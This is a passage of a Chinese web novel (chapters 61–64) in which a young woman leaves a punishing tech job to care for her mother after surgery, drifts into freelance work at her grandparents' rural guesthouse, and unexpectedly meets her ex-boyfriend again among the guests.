听说她本科学得金融,硕士转码,现在在大厂做工程师。他们今天见面,他特地捯饬了下,她倒是明显就着平时上班的风格,衬衫休闲裤,眼神自始自终都很平静,大海风平浪静时的那种平静。 但她原来也挺浪漫的。 可惜郎有情妾无意,吃完饭,两人客气道别。 这之后没多久,方敏周升了职涨了薪,贺温纶貌似合伙开公司去了,他们加了好友但自然而然没了联系。 学姐知道了也不觉得可惜,她并不热衷于做媒,只是方敏周不推拒,她便帮她多留意了下,有成最好。 工资依然每月到账,方敏周越来越忙。 大学陆陆续续在审计、咨询、银行都实习过后,方敏周确信了自己并不喜欢这方面的工作。继续干,也能干,然而对她来说,这个行业像一个很大的舞台,适合本身也想当演员的人,但她不是。 她听过一句话:人活在世上需要有一技之长。不知道最早是爸爸和她说的,还是她从书里看来的,反正二十岁的时候,她就是不断地在思考她的一技之长是什么,更进一步,她想要什么生活。 王衎不焦虑,虽然建筑行业日薄西山,他身边也有同学忙活着转行,但他学得不错也学得开心,因此未来的蓝图清晰可见,无非就是设计院或者房地产公司之类,他也帮自己想好了退路——毕竟家里有钱,实在不行,就回去继承家业,总归有口饭吃,“饿不着你和孩子。” 他每次乱说话的时候,方敏周都要教育他,但王衎屡教不改。 后来她选择转码,在当时其实是一个冲动的决定,只是因为平时编程相关的水课让她找回了高中做题的成就感,久违的成就感,她变得想在一个努力能够被可视化的环境里工作。 ——现在,也不可谓不是实现了这个愿望。 那会儿熬着夜看网课的时候,方敏周并没有想过未来她工作的下班时间会更迟,且越来越迟,而她还能渐渐习惯。 她总是能习惯很多事情,不止一个领导夸奖过她适应能力强,抗压能力强。 实习的时候第一次听,方敏周以为是夸奖,后来正式工作了再听到,她笑一笑,当作是夸奖坦然接纳。 闲暇时偶尔会多想想这两个词。 读书那会儿没有老师这么夸奖过她,所以这说明她已经进入了另一套社会评价体系——哦,也有,彼时用的词是“心理素质”,对应的是这次考差下次还能不能回到以往水平的能力。 如果不能,一跌再跌,或者偏偏重要考试发挥失常,就是心理素质不好。适应能力和抗压能力,对应的则是能不能接受批评、能不能接受加班以及在竞争中被淘汰。 方敏周像做个好学生一样做个好员工,她始终被“好胜心”驱使着从而高效完成工作。 方敏周后来发现,她还有比较强的忍痛能力。 小时候在乡下半夜发烧,忍着天亮才和外公外婆说;在不知道可以吃药止疼的初中,忍过很多次经痛;在旅游途中忍过智齿发炎,工作后,也带病上过班。 方敏周和她爸妈聊过她的工作,准确地说,是爸妈找她聊过她的工作。 她那年决定出国还要换专业,爸妈有众多忧虑,也不是没争执过,但最后还是支持了她。她回国找到至少薪资很好的工作后,他们放心了些,只是担心她的身体。 她爸和那年高考出分时一样,颇有些自己没能完成的雄心壮志,期待着她去实现,叮嘱她身体是革命的本钱,首先要照顾好自己。 但在家里和他同龄的一个亲戚意外去世后,他的想法变得保守,开始帮她留意家乡适合的工作,即使不回家,樟城附近的城市也可以,北城还是太远了。偶尔父女俩通话,他还会不自然地提一句,如果有好的男孩子,可以试着接触一下。 大四那年,方敏周拿到留学offer,爸妈高兴完后才忍不住问她,王衎那边什么打算,方敏周也才告诉他们,她和王衎已经分手了。 她记得,当时电话那头爸妈沉默了好一会儿,然后妈妈叹起气,方敏周知道她是在惋惜,爸爸呢,说既然如此,好好休息,享受最后的大学时光。 王衎去她家吃过几次饭,她妈后来还挺喜欢他的,她爸脸色一直很严肃。 毕业后她回到家,妈妈才关起房门来问她为什么分手。 多年后,方敏周回答贺温纶的答案和那时候回答妈妈的一样,“性格不合”。 妈妈又问什么时候分的,这个方敏周就有点难说清了。 当两个人都变得忙碌,聚少离多,大一刚开学那会儿因为王衎频繁来找她而吵的架变得像个笑话,也像个美梦。他们曾经允诺对方不再争吵,实际没有做到——也很难吧,当时怎么就会异想天开地觉得从此就会和和满满? 所以可能早在某一个时间点,他们就走向了分手的岔道口。 每个人其实都只有自己的一条路可走,只是在人生的某一个阶段彼此贴得很近,一个跨步好像就能跨过来,就误以为会是终生的伴侣。 最后一次吵架,王衎提的分手,她没有同意,也没有不同意——谈恋爱需要经过双方都同意,但分手不是,所以她什么都没说,转身就走了,然后他们再也没见过面,然后,他们应该就算是分手了。 那是大四下学期的事情,在江城。 大学四年过得飞快,毕业后的日子更是如流水,她出国读书,再回国工作,转眼间就过去差不多三年。 又是一年年底,方敏周忙得连续将近半个月都只睡了几个小时,同事之间互相打趣小心心脏,听说前段时间哪哪猝死了谁谁。 十二月的第一天深夜,北城迎来了今年的第一场初雪,方敏周收完这天手头上的工作,往窗外看时,地面和楼顶已略有积雪。 她起身走到电梯间,电梯门打开,和里头走出来的同事互相打了个招呼,她进入轿厢,按了顶楼。 电梯里有残留的烟味,方敏周推开天台门时,用力地多呼吸了两口冰冷但新鲜的空气。 漫天的白色大雪洇入繁华的黑夜,摩天大楼之上,万籁俱寂,车笛声被距离拉成了丝线,不及风声喧嚣。至少今晚,她没有需要做的事情了,所以方敏周放任自己多欣赏了会雪景。 回到办公室拿包,旁边的同事抬眼:“走啦。” “嗯。” “刚有听见吗?” “什么?” “救护车。” 方敏周一愣,“……没有。” ——那个从电梯门走出来、身上带有烟味的同事,在茶水间晕倒了,刚被送上救护车。 四面八方传来的键盘声始终错落有致地响着。 方敏周看向茶水间的方向,想象着但想象不出那个画面,她张了张嘴,耳边还是只有敲击键盘的声音。 “哎,希望没事。”同事这么说,“我也准备走了,一起?” 于是方敏周点头:“……好。” 第62章 第 62 章 爆发性心肌炎,送医…… 爆发性心肌炎, 送医及时,手术成功,抢回来一条命。 年后, 同事空出的工位来了新人。 金三月, 方敏周跳槽到江城一家互联网公司的商业化团队。 欧阳茜某次出差路过找她吃饭。 欧阳茜现在和她小姨一起做生意, 勉强可以装下财大气粗的老板。她以为方敏周换了个轻松点的工作, 一聊, 工作强度依然令她咋舌,吃完饭方敏周还要回去加班。 她让方敏周不如来当她的财务经理,让方敏周开价, 方敏周报了个数字,欧阳茜一咳嗽, 掐指一算,“宝贝, 你账户上比我有钱。” 方敏周笑。 “搞这么累干嘛呢。”欧阳茜一直劝说方敏周早日解放自我, “给别人打工不如自己当老板。” 方敏周也清楚, 现在的生活也并不是她想要的。相比之下, 欧阳茜是比她随心所欲多了, 她去外省读书那几年, 不知道放飞自我还是受到当地民风的影响,彻底展露小恶魔的尖角,玩起了穿孔, 还和朋友开了一家纹身小店,那是和她小姨在一起之前的事。 方敏周问过她什么感觉, 痛不痛,欧阳茜说不痛,很爽, “不过还是比打耳环痛一点的。” 方敏周笑起来。 她一直想打耳洞,但害怕,一直没打。 说来她整个人多矛盾,耐痛又怕疼,拼命地工作,但自认为并不是多有事业心的人。欧阳茜听了,又说她对自己的认知有错误。 方敏周:“嗯?” “你这还不够有事业心什么才是?”欧阳茜说,“而且有事业心是很好的事情啊,那个谁谁谁说过,事业心是一种道德品质,只是你没那么喜欢你现在的工作——所以我觉得很可惜嘛,你要是搞自己的东西,说不定能做的很好。” 方敏周觉得欧阳茜说得不无道理,她问:“所以我为什么会这样?” “不知道。”欧阳茜说,“每个人都不一样,也没什么不好的,但过得开心最重要。” “你现在开心吗?” 欧阳茜点头。 “以前呢?” 欧阳茜笑而不语,过了会,她还是心痒,开始帮方敏周出谋划策。 她以前没怎么和方敏周说过,她沉静温和的性格容易让人产生信任,以前不觉得如何,现在却发现,是很难得的特质。欧阳茜也是后来才想明白,为什么高中她会和方敏周说她的秘密,不仅仅是因为她和她小姨名字上的相似,还因为莫名觉得她能理解她,也不会和别人说。 “你大学的时候不是还有试着创业吗?搞那个什么补习班。” “不算,我就是过去帮忙。” “那你不是还有在搞留学辅导的副业?” “太忙了,好久没接单了。” “你看,你和教育行业渊源颇深,可以试着朝这个方向发展。” “好的大师。” 欧阳茜双手合十回拜,两个人一齐笑起来。 笑着笑着,她就心疼得笑不动了,让方敏周得空要注意休息。 方敏周说她知道,问欧阳茜:“创业有风险,你干嘛一直撺掇我,我万一赔了怎么办?” “有福同享有难同当,你要是真创业了,我要当股东,然后在家里数钱。” “行。”方敏周答应着。 和欧阳茜见完面,方敏周感觉到些许能量在体内流窜,心血来潮,久违地去染了个头发。过肩的长发剪短了,染成了蓝色。 她知道自己的状态有点病态,不断地在自我拉扯,但紧绷的时间久了,整个人反而处于一种不自觉的平衡中,尽管这种平衡摇摇欲坠,随时可能崩溃。 方敏周想,这或许是一种精神上的恋痛,痛苦能够分泌内啡肽,让她处于镇定的情绪。 她预想的她的断裂,也许是一场疾病,强迫她停下来去思考生命、生活、人生等等宏观的命题,但不要太致命,得给她重新更正的机会。 后来她的确等来了一场疾病,但得病的人是妈妈。 爸妈没有同她说,但方敏周从最近的电话中察觉到他们有事瞒她,调休但带着电脑临时回家了一趟,那时检查结果和治疗方法都已经出来,子宫肌瘤,切除子宫。 “医生说了,微创小手术,很常见的妇科病。”爸妈很淡定。 但后来大姨私下里和方敏周说,本来是想保子宫的,“但医生说很容易复发啊,没办法,你妈妈还是心大,后来自己也想开了,不然再这样下去血都要流干了。” 方敏周清楚爸妈只是不想她担心,实际内心一定很忐忑,以至于对她一头蓝毛都没有说什么。 做的腹腔镜,手术时间要三四个小时。 家人们等在手术室外,一开始大家还说着话,紧张的紧张的、打岔的打岔,时间一久,不约而同地都沉默了。沉默久了,又重新说起了话。 平时最爱说大道理的爸爸是最沉默的一个,大姨则拉着她的手,说起了以前的事情。那时候条件多差,但小英是成绩最好的那个。 大姨拉着她的手,一会儿说她妈妈享福,一会儿又说她妈妈吃苦。 方敏周的眼睛酸了又干、干了又酸,当着大姨的面,始终没让眼泪掉下来,她努力地重复着宽慰的话。她知道大姨是在害怕,她们同是经历过生育的女人,又是姐妹,此刻最是感同身受。 手术顺利结束,妈妈被推出来。 方敏周第一次见到妈妈这副虚弱迷蒙的模样,她干涩的眼眶瞬间涌出了眼泪,来不及擦,连忙先把从家里带来的小被子给妈妈披上。 她从小到大虽然不是娇生惯养,但确实没做过什么活,读书的时候坐教室,工作了坐办公室,这是方敏周第一次在医院照护病人。尽管事前查了很多资料、备了很多东西,仍然动作青涩忙乱,还好有大姨和爸爸在。 术后六个小时不能睡觉,四个小时不能进水,方敏周和爸爸还有大姨三人,在妈妈床旁不停地聊天,边聊边按摩她的小腿和脚,以防血栓和痉挛,这个时候她爸又恢复平时侃大山的样子了,妈妈没力气说话,只是眨眼睛和微笑。 说是微创,但哪里不受罪?妈妈说,和生孩子那会很像,疼得要上镇痛泵。除了伤口疼,肩膀肋骨也窜着疼,手术时打进去的气全身上下地跑,又必须下床走动,方敏周和大姨一人扶一边,带着妈妈在楼道里慢慢地散步。 妈妈一直让方敏周回家去、工作去,不用担心她,这个时候她又觉得她是小孩子一样,甚至担心她在医院待久了染上病气。方敏周没听,大姨在旁边拧毛巾她就守着帮忙添水。 她会看财报、写代码,但她所学的知识此时此刻派不上任何用处,唯一算有帮助的是她工作后给爸妈买的保险,但疼还是挨了。方敏周感到极大的挫败和虚无,她只有每照顾妈妈多一点,才觉得魂归了一点位,像是在赎罪,这个念头一起,又觉得她很虚伪。 工作那边她请了假,但每天还是会抽空看一下消息。 住院部晚上八点后就不让进出了,因此很早静下来。方敏周在外头打完电话,新鲜的空气冲散了萦绕在鼻尖的消毒水气息。 在沙沙作响的树叶声中,方敏周望着沉默的住院大楼,城市的夜晚不再能见到繁星,她想到里头住着妈妈,住着很多受疾病痛扰的人,再想到之前自己轻飘飘地想着生一场病然后重启人生,暑气未尽的九月的夜里,方敏周有种突然酒醒了的寒意。 三天后妈妈出院,术后需要一到三个月的时间休养。 方敏周回到公司,提出离职申请。 领导找她谈话,大意是非常理解她妈妈生病,也准许她请假陪护,如果时间比较长,也可以远程办公。方敏周婉拒了,她做好了决定。 领导感到惋惜,方敏周上个季度着力推进的一个策略刚起量,效果很不错,到年底估计能为项目带来很好的收益。方敏周感谢她对自己的赏识,但这些数据她现在已经不在乎了。领导关心她离职的主要原因是否是父母,那之后又是什么打算。 “其实不全是。”方敏周说,“接下来应该会休息一段时间再看看吧。” 交接花了一段时间,那段时间方敏周是樟城江城两头跑,她暂时没和她爸妈说她离职了,说公司给假,纵使这样,爸妈也多有猜疑,见她回来也不太高兴——但那只是一开始的,马上就要张罗今天吃什么。 手术伤口不大,但实打实地在肚子上切了一刀,类比于某一种腰断了,一切会用到腰的动作都成了困难,包括起床躺下。后来爸妈才和方敏周坦白,她能回来,其实他们都轻松了不少,因为爸爸还要上班,妈妈一个人在家,总归有些不方便。 但时间一久,特别是方敏周正式办好了离职手续后,她离职的事情就瞒不住了。 妈妈的反应比方敏周预期的还要大,她觉得方敏周疯了,她又不是瘫痪了或者得了什么绝症,她病好了都还要回去上班,方敏周居然把工作辞了? 方敏周解释:“我又不是不工作了。” “那你为什么要离职,而且说也不跟我们说一声?”赵宁英激动地说,说着说着,声音低下来,怀疑还是方敏周公司因为她频繁请假心生不满,还是她连累了她。 方敏周哭笑不得:“不是,是我自己辞职的。” 她都不敢说她领导还挽留了她,不然她妈估计要更生气了。 “你……”赵宁英痛心不解。 方良平出声,既然辞职了,那就干脆在樟城工作好了,赵宁英一听,脸色稍霁,觉得是这个理。 在方敏周说她暂时还不想找工作后,夫妻俩彻底震怒了,但这种愤怒及其原因对他们来说非常陌生——方敏周现在说她不上班,好比于做学生不要上学,但女儿从小听话,他们没处理过这种情况。 “敏周,爸爸妈妈没要求你赚很多钱,但人总是要一份工作的对不对?而且本来你在一个公司好好的,你现在……是什么打算?”方良平严肃地问。 有些话,方敏周一直忍着没说,她对父母的反应早有预料,也要求自己要以平静淡然的态度面对父母的怒气,但妈妈的伤口已经不会被被气到崩线,她最后还是说了:“工作我后面会找,我有积蓄,我能养活自己,我辞职,是因为我现在就想好好照顾妈妈,不然我会后悔。” 赵宁英和方良平都沉默了。 方敏周从他们的表情中读出他们试图隐藏的忌惮。 他们觉得她很陌生。 想想应该是的,在她离家的这些年,她的成长爸妈一无所知,就连她自己,有时候也是恍然意识到她的变化。 有些话,方敏周还是没讲,就让爸妈当她是孝顺吧。 在后来一个母女俩一起睡的夜晚,赵宁英还是忍不住为方敏周忧愁,本来方敏周是她口中的骄傲,现在她因为这么一点小事辞职,“你大姨也说你疯了”。 方敏周没生气。 初高中的时候,她花了大把力气理解父母对她的爱,后来她想,父母的爱就是异形的,甚至可以说,没有任何人的爱是能够完全贴合另一个人所需要的,他们都没有办法改变,她也不用自我修剪,但要能够自我调节,接受能接受的。 所以她只是笑笑,然后发自内心地问妈妈:“你当初因为我还有奶奶辞职的时候,有后悔吗?” 这个问题,在她心里藏了很多年。 赵宁英的声音消失在黑暗的房间里,她平躺着的,侧脸看了眼方敏周,好像很是奇怪地笑着说:“那都多久前的事情了,我怎么可能后悔?你当时那么小,你奶奶又生病没人照顾,不得有个人照顾啊?你把你和我那时候比啊,这怎么比得了,我有你爸啊,而且你工作多么好……” 方敏周挨着妈妈,闭着眼睛听,没有反驳。 她用了二十年,才真正明白妈妈那时候的牺牲和自己负担的源泉。 其实,她是为了赎罪的,但为什么要赎罪?也许是因为她意识到,她终有一天要过自己的人生。 第63章 第 63 章 方敏周在家里待了半…… 方敏周在家里待了半年后, 方良平和赵宁英到底有点受不了了。 赵宁英把身体养好已是年底,方敏周工作后没了寒暑假,这几年逢年过节回家都待不了几天, 便想着算了, 今年一家人先完完整整过个团圆年, 但开春后仍不见方敏周动静, 当父母的不免着急了。 然而方敏周这段时间并没有好吃懒做, 她单独接了一些项目,辞职的时候又正好赶上新一年的留学申请季,便重新拾起了这个副业, 也挺忙的,但因为不是正职, 在方良平和赵宁英看来就还是“不务正业”,连带着她一头褪色褪得七七八八的头发也变得很不像话。 起初方敏周和爸妈去附近市场, 遇到相熟的摊主, 双方总能笑呵呵聊上几句。 那时被问起“你家女儿最近在做什么”, 赵宁英还能责怪中带着点骄傲, 把来龙去脉讲述一遍, 说她前段时间生病, 女儿为了照顾她,把原来很好的工作辞了,不过也没关系, “我和她爸说,在樟城找个工作也挺好的, 离家近。” “哎哟,难得有这份心,是这么说没错啊。”对方跟着附和, “孩子孝顺比什么都重要,不然钱赚得再多,人不在身边,也没用嘛。” 方敏周在旁边闲得剥橘子。 小时候她就纳闷过,为什么长辈们总能当着当事人的面,旁若无她地聊天。 但春节后方敏周和妈妈再在路上碰上熟人,寒暄间,对方也问起她的近况,赵宁英就变得支支吾吾的了。 她好像又变成不能显亲的女儿了。 工作赚不赚钱是一回事,体不体面又是另一回事。 “不管怎么样,别人问你,你还是要能说出来你在做什么吧。”方良平尽量把话说得平和,“当老板是当老板,当员工是当员工,你这种算什么?” 方敏周不想和爸妈吵架。 欧阳茜安慰她:“‘自由职业’对我们爸妈这个年纪的人来说可能太抽象了,他们想象不到,工作怎么能自由呢?” 方敏周笑得不行。 换做以前,她也很难想象。 毕业工作后旷日弥久的假期,虽然自由,却并非无虑。 她终于脱离了一次人生既定的轨道,然后不得不承认,也许是在社会化的框架里待久了,身上留有难以抹去的印痕。爸爸妈妈的态度还是给她带来了一些幽微负面的情绪,即使她可以心平气和地自我消化,但如果真的无所谓,她不应该再被这些闲言碎语影响。 不过这也是没办法的事情,人生在世嘛,宇宙尚且有尽头,脱轨的列车也不知道最终会驶向何方。 她还是渴望成功和肯定的,好在不再那么死板,也不再一味向外汲取,心理上像是又感受了一次蹦极:面对未知和恐惧,真跳下来,也就那样,没什么可怕的,所以她也不想返航了。 诚然,爸妈的态度会影响她航行时的天气,眼见着他们的唠叨愈发严重,方敏周决定换个环境,主动撤出安全距离。 江城的房子早已退租,她倒是可以住在欧阳茜或者元月家,但考虑到她们的不便,方敏周也想找个更清静的地方理理接下来的计划。 她跑到了外公外婆家。 外公外婆就很欢迎她了。 包括双溪镇在内,樟城和江城接壤处的许多乡镇,近些年都在政府的支持下发展起旅游业,主要是为两地居民提供周末假期休闲吸氧的去处。如此一来,方敏周外公外婆家的房子也得到翻新用作民宿,不过老人家专门给方敏周留了一间作卧室。 电话里听了女儿女婿的说法,外公外婆也有点担心,方敏周解释自己是在家就能赚钱,虽然这很不可思议,但他们这辈子见识过了太多变化,接受度反而良好,觉得这是孙女本事大,赵宁英方良平无可奈何。 春天是淡季,待在乡下,方敏周更悠闲了。 之前求学、工作乃至帮他人辅导的经验为她积累了不少人脉,她东接一点活、西接一点活后,慢慢的,多少有了一点创业的念头,但相较于欧阳茜建议的教培,她更想把精力投入到技术相关的工作上。 也没什么梦想,以前她总是想要找到一生热爱并为之奋斗的事情,现在才意识到,能找到自己擅长的事情就很不错了。 油菜花开时,方敏周休息够了,本来准备回樟城,顺带着找时间和金莹见一面——金莹毕业后做的ux设计,前不久离职了,现在也是无业游民一位。 方敏周和本科舍友们毕业后仍然保持着联系,其中她和金莹的关系最好,转码那个时候,金莹帮了她不少忙,两个人工作后又都同处同一行业,时不时互相交流,一些想法也不谋而合,忽然就觉得,也许她们可以试着合作看看。 但外公不小心扭到了腰,就算民宿没有客人,家里也总有些活要干,担心外婆一个人太累,方敏周又留了下来。她自己的事不急,都能先线上沟通。 这一待又到了入夏的天气,来村里的游客量渐增,家里也多了个小孩,叫关阳,是外公老友家的孙子,十九周岁未满。以前是练体育的,后来受了伤退役,去中专读了酒店管理,但毕业后无所事事,家里人催着下半年去参加成人高考,他也没放在心上,他父母有事,便把人带过来说是麻烦给点事做,锻炼锻炼。 男孩做事其实还挺利落,但话少,性格也比较犟,平时就热衷于霍霍家里那台旧车。 外公是有驾照的,但年数大了,不常开,方敏周在的这段时间,用这辆车接送过客人,关阳一来,把这活揽了过去。 虽然村镇这些年频频修路,但毕竟地处偏僻,从最近的火车站点打车过来至少要半个小时,村子里交通也不便,所以游客一般都是自驾游,一些民宿也会包含接送服务。 这天的住客是自己开车来的,两男两女,方敏周和贺温纶看到对方时,都是一愣,然后微笑打了招呼。 “这么巧。”贺温纶说。 “是啊。”方敏周也确实意外。 “怎么了?” 贺温纶朝方敏周递了个眼神,“认识的朋友。” 大家纷纷惊讶。 贺温纶代为介绍,方敏周被投以好奇的目光,她笑笑,“这是我外公外婆家,有什么事你们都可以找我。” 简单聊了聊,才知道贺温纶没有从事老本行,公司主要是做各类活动策划,暑假马上就要到了,镇上也要推出一些活动吸引人来。这趟贺温纶是带了员工来玩,但也顺带着考察考察。 给房卡的时候,方敏周发现他们是定了两间双人房和一间单人房,问了下,贺温纶说是还有一个人,他们没一起来,“单人房先空着吧,我也不知道他今天晚上来不来。” “好的。”方敏周说,“我们十点前都可以办理入住。” “我等会问问。” 趁着天色尚亮,方敏周带他们在周边稍微逛了逛,才回到民宿坐定吃饭。 其实附近的山村大同小异,青山绿水稻田,房屋是常见的两层院落式民房,木结构石头墙,古朴厚重,经过修建,变成兼具现代化的独栋。双溪镇特别在有水库,起初乡镇的发展也是依托水库管治和周边游建立起来的,慢慢的,吸引了一些产业入驻。 餐桌上有一条大鱼,是从水库里钓的,肉质鲜美,加上赵庆友厨艺好,赢得声声夸赞,赵庆友得意起来,拿出自酿的米酒招待客人。 其他人提起公司的另一位老板时不时就会来双溪水库钓鱼,贺温纶的合伙人,贺温纶带头调侃地称呼这位为王总。 酒足饭饱时,贺温纶拿出手机一看,说收到了消息,要去火车站接人。 这下情况掉入尴尬,因为在场的人多多少少都喝了酒,只剩下关阳,因为年纪小而米酒度数高,张秀芬拦着没让他喝。 关阳自己是很乐意去接人,其他人则是担心他晚上开车太危险,最后是让贺温纶陪同坐副驾,对此关阳还不太高兴,觉得自己被小瞧了。相处了这些天,赵庆友当他是自己的孙子一样,忍不住点他哪有对着客人的面耍小孩子脾气的,张秀芬也说他,“嘴撅这么高给谁看?” 关阳这才不情不愿。 老板走了,剩下三位员工聊天更加放松,也没避着方敏周和她的外公外婆,更是直接问起方敏周和他们贺老板是怎么认识的。 方敏周潦草带过,说以前一位共友生日的时候见过一面。 这个说法不错,方敏周看出他们都信以为然,也没了继续八卦的意思,就是她自己提醒自己,事后要记得和贺温纶同步一句,以免他露馅。 方敏周再听他们聊天,话里话外,似乎隐隐不太希望他们这位王总过来。 原因在于这位王总平时不苟言笑,还是个工作狂。他们都曾落了东西回公司拿却撞见他还在。虽然事后发现王总只是自己不下班,并不会管他们,但他的存在,还是容易让底下人拘谨。 方敏周听到这里,微微松了口气。这个王总听起来,和老于世故的贺温纶截然不同,两人合伙,也许是起到互补的作用,更不像她记忆里的王衎。 所以,大概是她想多了。 方敏周最后把果盘端过去后便回了自己的房间,等会她还有一堂面试辅导课要上—— 作者有话说:ps,改了镇子的名字 第64章 第 64 章 过了六点,进出村子…… 过了六点, 进出村子的人就少了,车子顺当开上道后,贺温纶慢慢放下心, 问关阳什么时候考的驾照。得知他驾龄还不到一年, 又提心吊胆起来。 不过关阳车开得确实还不错, 贺温纶夸了几句。关阳听着有点别扭, 但还算高兴, 也就不再绷着脸。 小男生心里想什么脸上都写着,贺温纶看在眼里觉得搞笑,再望向前方的夜路, 又不禁默默感慨起青春易逝,忽地想起和方敏周第一次也是唯一一次的那次见面, 她认真地说“你置黄昏恋的爷爷奶奶们于何地”。 关阳奇怪困惑地瞥了贺温纶一眼,贺温纶收起笑, 转而找话题继续同关阳聊天。一听, 觉得他经历其实还蛮多的, “那你接下来打算做什么?” 不可能一直在这里打工下去吧? “再说吧。”关阳无所谓地说。 贺温纶说他这个态度就不对了, 不由得以过来人的身份教育了关阳几句。末了, 察觉到关阳的敷衍, 贺温纶也回过神来,心痛自己怎么真的变成了无聊又啰嗦的大人,便试图聊回其他年轻人的共同话题, 比如球赛和游戏。 在火车站接到人后,贺温纶简单为两人介绍, 又夸了夸关阳的车技,主要是让王衎安心,再对关阳说, 等会要是累了就说,换他们开。这回关阳点点头,说知道了。 他喜欢车,但自己开车和给别人当司机是完全两码事,不过一共也没接送过几次客人,那几次还都有人陪同,要么是赵阿公要么是敏周姐。他们一是不放心他,带他熟悉路线,二是为了顾客体验,因为他不会说话,但得有人陪同客人聊天,活跃车内气氛。 不过来玩的住客大多期待着接下来的行程,关阳没见过现在后排这位这样沉默的。除了刚碰到面时回了贺温纶一句、朝他打了个招呼外,就没了话,令他都感到些许压迫。 等红灯的空档,关阳瞄了眼后视镜,后排的人在闭目养神。 贺温纶跟着音乐微微摇晃着身体,往后一看,看到王衎这样,笑道:“有这么累吗?谁让你下午还要约客户见面,等会到了民宿你好好休息下吧。” “嗯。”王衎兴致不高地应了声。 贺温纶摇摇头,已经习惯了王衎现在的惜字如金。 王衎也不是不会说话,毕竟刚认识的时候,他还挺开朗活泼的,只是现在性子沉下去了,应酬归应酬,私底下话自然而然也就变少了。 算起来,贺温纶和王衎也认识了很多年。他在国内读研的时候,他的导师带过王衎的课,并且颇为赞赏这位小师弟,那时王衎还问过他出国作品集的问题,只是后来好像没有去成。 他回国后两个人因缘巧合再见面,他才挺意外地得知王衎没有继续做建筑设计,而是接管了家里的生意——不过也情有可原。他家的生意是建材相关,王衎不想再只做传统的资源供应,而这一步需要拓展人脉,两个人便顺理成章地开始合作。 见王衎又闭上了眼睛,贺温纶就继续同关阳聊天。回程的路开到一半,关阳的手机铃声响了,他没带耳机,手机屏幕显示是张阿婆的来电,贺温纶便帮忙按了免提。接通后,里头传来的却是一个年轻女声:“关阳?” 关阳应声,叫了声“姐姐”。 “快到了吗?” “快了,大概还要十几分钟吧。” “好。”方敏周一顿,“你开着免提是吗?” “……嗯。”关阳握着方向盘,莫名有点尴尬。 车内很安静。 “贺温纶?” 贺温纶:“在。” “没什么事情,就是想问问你还有你朋友,还要不要吃点什么,我们晚餐是供应到八点。”方敏周说,“关阳呢?” 关阳:“我不用。” “我也不用。”贺温纶看了看时间,扭头看向王衎,“你呢?” 他们正好经过一处山洞,王衎整个人如墨水似的融入黑暗中,贺温纶没有立刻得到他的答复。 山洞很短,等暖黄色的灯光重新照亮王衎的脸时,贺温纶看到他才像想好了答案似的睁开眼睛,淡淡回他:“不用。” 搞得好像很慎重一样,贺温纶有点想笑,他转过头,对着手机传话:“都不用。” “好,那我先挂了。”方敏周说,“关阳你慢慢开车,注意安全。” “好的姐姐。” 电话挂断,没了人声,音乐也正好处于一首播完下一首未启的间隙,在这空白的几秒钟里,车子往前,在夜里继续行驶了一段距离。 贺温纶好奇问关阳:“你平时就叫她姐姐啊?” 关阳知道方敏周和贺温纶认识,可他们两个好像并不熟,他看了眼贺温纶,“是啊,我就叫她‘姐姐’,或者‘敏周姐’。” 听出关阳话里的防备,贺温纶笑笑,他可没遗漏关阳脸上一闪而过的羞涩?也不意外,男生十八岁的时候都向往成熟姐姐,就是不知道方敏周十八岁的时候是什么风格。 “你姐在这住多久了?”他又问。 “……不太清楚。”关阳看着前方,“三四月份来的好像。” “那也挺久了。” “嗯,本来要回樟城的,因为赵阿公受伤,就留下来了。” 贺温纶面露了然。 关阳忍了忍,没忍住,“礼尚往来”地回问贺温纶:“你和……敏周姐,怎么认识的?” 贺温纶一笑,“朋友介绍。” 关阳“哦”了一声。 “不过上次见面也是差不多两年前了。”贺温纶说,不经意间在后视镜中与王衎的视线相对,于是他说话的对象也掉了个方向,“巧不巧?我之前认识的一个朋友是这家民宿老板的孙女,就刚才打电话过来的这位。” “朋友介绍”这个形容在初入社会的学生们听来,可能就是字面意思,关阳听不懂,但王衎能明白其中的潜台词。 “巧。”王衎蹦出一个字。 贺温纶顺着他的目光看向窗外,黑黢黢的树影飞驰而过。他察觉出王衎心情不太好,估计是真的累了,也就不再烦他。 到了民宿,关阳领王衎去房间,贺温纶说着不吃,还是打算去餐厅看看。 王衎的房间在二楼走廊尽头,他只带了一个行李包,自己拎着,进了房间先按开关,灯闪了闪,没有亮,再试了两下,依然没反应。 方敏周听见门外的动静,知道人回来了,便起身准备看看情况,剩下那间单人房正好是在她房间对面。打开门,就看到关阳在搬过道里的矮凳。 他喊了声“姐”,方敏周问:“怎么了?” “……灯好像坏了。”关阳挠了挠脸。 “啊?早上看不还是好的吗?” “我也觉得奇怪。”方敏周这么一说,关阳镇定了些,他刚还怪心虚的,怕人家以为他们民宿服务很差。 对面房间的门敞着,浴室的灯被打开,传出哗啦啦的水流声。关阳搬上凳子,方敏周敲了敲门板,提了点声量:“你好,我们来看一下灯。” “直接进来吧。” 男人的声音混在水声里,像刮花的唱片,多了难以分辨的杂质。 方敏周心跳蓦地落了一拍,觉得自己的脚底像是被地板黏住了,她低头一看,但脚底下只是地板。 浴室里水声未停,没有人出来,她重新抬起头,迈进光线昏暗的室内。 坏了的灯是房间正中央垂下来的吊灯,藤条编制的灯罩里装有球形灯泡。方敏周在一旁打开手机的手电筒,关阳踩上矮凳摘下灯罩检查,像是灯泡的钨丝烧坏了。 方敏周让关阳在房间里等她,她去拿新的灯泡和工具。 储物室在一楼,一步一个阶梯,再走上二楼,方敏周注意到屋内的水声停了,走到门口,看到房间里果然多了一个人。 浴室的灯还开着,切出一角岿然不动的光亮,只是那人正好靠墙站在房间的阴影处,因此方敏周看不清他的脸,只能辨识出一个大概的轮廓。 关阳再踩上矮凳换灯泡,高度有点尴尬,得低着头,不太方便,方敏周便让他下来,角色调换,她的身高加上凳子的高度,刚好和吊灯持平。 关阳在旁边小心地举着手电筒,既要确保方敏周看得清,又要避免方敏周的眼睛被强光直接照到。 期间,他偷偷看了眼方敏周。她神情专注,落在脸侧颈边的发丝发尾,被白光映出一种神秘的绿色,微微的自然弧度,像植物的丝蔓。 关阳心思微晃,觉得敏周姐看起来不像比他大快十岁的样子。 手电筒能照到的范围毕竟有限,关阳又对房间里另一个人起了一些意见。虽然说是客人,就在旁边看着,一点忙也不帮,未免太高高在上了。 “好了,再按下开关试试。”方敏周说。 那人还是跟没听见似的一动不动,关阳有被气到,闷声走过去按下按钮,霎那间室内一片光亮。 于是方敏周终于看清了一直藏在黑暗里的男人的脸,他双手交叉在胸前,静静地望着她。 啊——方敏周心里幽幽叹了口气。 